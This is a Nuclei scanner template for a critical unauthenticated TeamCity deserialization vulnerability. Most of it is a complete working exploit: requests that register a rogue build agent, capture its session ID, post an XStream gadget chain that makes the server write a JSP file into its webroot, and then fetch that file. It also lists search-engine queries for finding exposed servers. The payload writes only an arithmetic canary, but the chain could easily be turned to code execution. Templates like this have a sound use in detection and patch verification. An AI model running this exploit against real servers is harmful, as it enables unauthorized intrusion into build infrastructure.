JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
PoC
id: CVE-2026-63077
info:
name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
author: 0x_Akoko,pdteam
severity: critical
description: |
JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
impact: |
Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.
remediation: |
Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.
reference:
- https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
- https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
- https://github.com/sfewer-r7/CVE-2026-63077
- https://nvd.nist.gov/vuln/detail/CVE-2026-63077
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-63077
cwe-id: CWE-502
epss-score: 0.8957
epss-percentile: 0.99785
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: jetbrains
product: teamcity
shodan-query: title:"TeamCity"
fofa-query: title="TeamCity"
tags: cve,cve2026,jetbrains,teamcity,rce,deserialization,kev,intrusive,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "TeamCity", "teamcity", "JetBrains")'
condition: and
internal: true
- raw:
- |
POST /app/agents/v1/register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<agentDetails agentName="nuclei-{{randstr}}" agentAddress="127.0.0.1" agentPort="9090" authToken="nuclei-{{randstr}}" pingCode="">
<alternativeAddresses/>
<availableRunners/>
<availableVcs/>
<buildParameters/>
<configParameters/>
</agentDetails>
extractors:
- type: regex
name: session
part: header
group: 1
regex:
- '(?i)teamcity-agentsessionid: ([^\r\n]+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(to_lower(header), "teamcity-agentsessionid:")'
condition: and
internal: true
- raw:
- |
POST /app/agents/v1/commands/error HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
TeamCity-AgentSessionId: {{session}}
TeamCity-AgentCommandId: 123456
<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
<entry>
<string>n1</string>
<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
<outer-class>
<myHSQLStorage>
<myDataSource>
<defaultTransactionIsolation>-1</defaultTransactionIsolation>
<cacheState>true</cacheState>
<driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
<lifo>true</lifo>
<maxTotal>8</maxTotal>
<maxIdle>8</maxIdle>
<minIdle>0</minIdle>
<initialSize>0</initialSize>
<maxWaitMillis>-1</maxWaitMillis>
<poolPreparedStatements>false</poolPreparedStatements>
<clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
<maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
<testOnCreate>false</testOnCreate>
<testOnBorrow>true</testOnBorrow>
<testOnReturn>false</testOnReturn>
<timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
<numTestsPerEvictionRun>3</numTestsPerEvictionRun>
<minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
<softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
<evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
<testWhileIdle>false</testWhileIdle>
<password/>
<url>jdbc:hsqldb:mem:nuclei{{randstr}}</url>
<userName>SA</userName>
<validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
<connectionInitSqls>
<string>CREATE TABLE TN{{randstr}}(CN{{randstr}} VARCHAR(4000))</string>
<string>INSERT INTO TN{{randstr}} VALUES ('<p><%=7*6%></p>PD-TP-CONFIRMED')</string>
<string>SCRIPT '../webapps/ROOT/pd-tp-{{randstr}}.jspws'</string>
</connectionInitSqls>
<accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
<maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
<logExpiredConnections>true</logExpiredConnections>
<autoCommitOnReturn>true</autoCommitOnReturn>
<rollbackOnReturn>true</rollbackOnReturn>
<fastFailValidation>false</fastFailValidation>
<connectionProperties/>
<closed>false</closed>
</myDataSource>
<myStopped>false</myStopped>
<myDatabaseOpen>false</myDatabaseOpen>
</myHSQLStorage>
</outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
</entry>
<entry>
<string>n2</string>
<freemarker.ext.beans.HashAdapter>
<wrapper>
<sharedIntrospectionLock/>
<classIntrospector>
<exposureLevel>0</exposureLevel>
<exposeFields>false</exposeFields>
<treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
<incompatibleImprovements>
<major>2</major>
<minor>3</minor>
<micro>0</micro>
<intValue>2003000</intValue>
<calculatedStringValue>2.3.0</calculatedStringValue>
<hashCode>0</hashCode>
</incompatibleImprovements>
<hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
<shared>false</shared>
<sharedLock reference="../../sharedIntrospectionLock"/>
<cache/>
<cacheClassNames/>
<classIntrospectionsInProgress/>
<modelFactories/>
<clearingCounter>0</clearingCounter>
</classIntrospector>
<falseModel>
<object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
<wrapper reference="../.."/>
<value>false</value>
</falseModel>
<writeProtected>false</writeProtected>
<defaultDateType>0</defaultDateType>
<methodsShadowItems>true</methodsShadowItems>
<simpleMapWrapper>false</simpleMapWrapper>
<strict>false</strict>
<preferIndexedReadMethod>true</preferIndexedReadMethod>
<incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
</wrapper>
<model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>
</entry>
<entry>
<string>n3</string>
<set>
<org.apache.commons.collections.keyvalue.TiedMapEntry>
<map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
</org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>
</entry>
</linked-hash-map>
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 500'
internal: true
- raw:
- |
GET /pd-tp-{{randstr}}.jspws HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PD-TP-CONFIRMED"
- type: word
part: body
words:
- "<%=7*6%>"
negative: true
- type: status
status:
- 200
- type: status
status:
- 200
# digest: 490a0046304402202fb9cfbaff5156d4e24cd9f8184c3bd90b2c4aed1b4f954984ff7e395020b65f022043fc14723c3b1aad254a612cc9984321b115b78200b1bbd799577be85c5789da:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.